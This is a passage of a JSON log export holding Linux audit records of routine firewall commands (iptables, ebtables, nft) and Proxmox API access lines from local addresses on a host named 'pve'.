key=\"exec\""} {"@timestamp":1781965382073,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964506029,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.029:61315): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966115258,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.258:68513): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964765442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.442:62503): arch=c000003e syscall=59 success=no exit=-2 a0=7ffef460f980 a1=648259bc5200 a2=648259ba3680 a3=5 items=1 ppid=59945 pid=59946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965443008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965443.008:65621): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.257:59623): arch=c000003e syscall=59 success=yes exit=0 a0=5d4e881acac8 a1=7fffb8ce6f60 a2=5d4eaabbf680 a3=5d4e8819024e items=2 ppid=57258 pid=57260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966120477,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966120.477:68526): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65804 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965382073,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964506023,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.023:61314): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966115257,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.257:68512): argc=1 a0=\"date\""} {"@timestamp":1781964765365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964765.365:62485): arch=c000003e syscall=59 success=no exit=-2 a0=7fff8c8b5540 a1=63e9a8ed7310 a2=63e9a8ed0680 a3=5 items=1 ppid=59926 pid=59927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965437999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965437.999:65619): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.255:59622): arch=c000003e syscall=59 success=yes exit=0 a0=7fffb8ce6f20 a1=5d4eaabc6310 a2=5d4eaabbf680 a3=5 items=2 ppid=57258 pid=57259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966120468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966120.468:68523): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965380662,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964506018,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.018:61312): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966115252,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.252:68510): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964760546,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964760.546:62475): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965437999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965437.999:65618): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.250:59620): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115461,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.461:68520): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965380662,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781964506014,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.014:61311): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966115245,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.245:68509): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964760546,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964760.546:62474): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965437992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965437.992:65616): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.244:59619): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115445,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.445:68517): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965380662,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964506009,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.009:61310): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966115237,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.237:68508): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964760540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964760.540:62472): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965437992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965437.992:65615): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105238,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.238:59618): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115261,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.261:68514): arch=c000003e syscall=59 success=yes exit=0 a0=62a42d7400e0 a1=62a42d73ce60 a2=62a42d71e680 a3=5 items=2 ppid=65794 pid=65800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965380662,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964506004,"@rawstring":"node=pve type=EXECVE msg=audit(1781964506.004:61309): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966115229,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.229:68507): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964760539,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964760.539:62471): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965435839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.839:65611): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe73112020 a1=619e509c8310 a2=619e509c1680 a3=5 items=1 ppid=63021 pid=63022 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105231,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.231:59617): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115258,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.258:68513): arch=c000003e syscall=59 success=yes exit=0 a0=62a424d5fac8 a1=7fffdfea16b0 a2=62a42d71e680 a3=62a424d4324e items=2 ppid=65794 pid=65796 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965379069,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964505999,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.999:61308): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966115221,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.221:68506): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964755533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.533:62466): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965435727,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.727:65593): arch=c000003e syscall=59 success=no exit=-2 a0=7fff7a010330 a1=62b87699e1c0 a2=62b87697c680 a3=5 items=1 ppid=63002 pid=63003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.225:59616): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57254 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.257:68512): arch=c000003e syscall=59 success=yes exit=0 a0=7fffdfea1670 a1=62a42d73bd50 a2=62a42d71e680 a3=5 items=2 ppid=65794 pid=65795 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965378020,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:57 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964505994,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.994:61307): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966115215,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.215:68504): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964755533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.533:62465): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965432981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965432.981:65583): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.220:59615): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6012bd142740 items=0 ppid=1156 pid=57253 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966115252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.252:68510): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65794 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965378020,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:57 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964505988,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.988:61306): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966115208,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.208:68503): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964755524,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.524:62463): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59907 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965432981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965432.981:65582): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.219:59614): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f49b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57253 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.245:68509): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965378020,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964505982,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.982:61305): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966115202,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.202:68502): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964755524,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.524:62462): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59907 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965432976,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965432.976:65580): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105214,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.214:59613): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57252 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.237:68508): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65792 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375925,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 894"} {"@timestamp":1781964505978,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.978:61304): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966115196,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.196:68501): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964755317,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.317:62458): arch=c000003e syscall=59 success=no exit=-2 a0=7fff8410f9b0 a1=633fe6b9c310 a2=633fe6b95680 a3=5 items=1 ppid=59900 pid=59901 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965432976,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965432.976:65579): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.209:59612): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f91b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57251 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966115229,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966115.229:68507): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65791 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965375925,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:55 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964505976,"@rawstring":"node=pve type=EXECVE msg=audit(1781964505.976:61303): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966115190,"@rawstring":"node=pve type=EXECVE msg=audit(1781966115.190:68500): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964755236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964755.236:62440): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe0965e660 a1=5bef113a1d10 a2=5bef11384680 a3=5 items=1 ppid=59881 pid=59882 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965427969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965427.969:65577): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964105.203:59611): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140680 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57250 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} 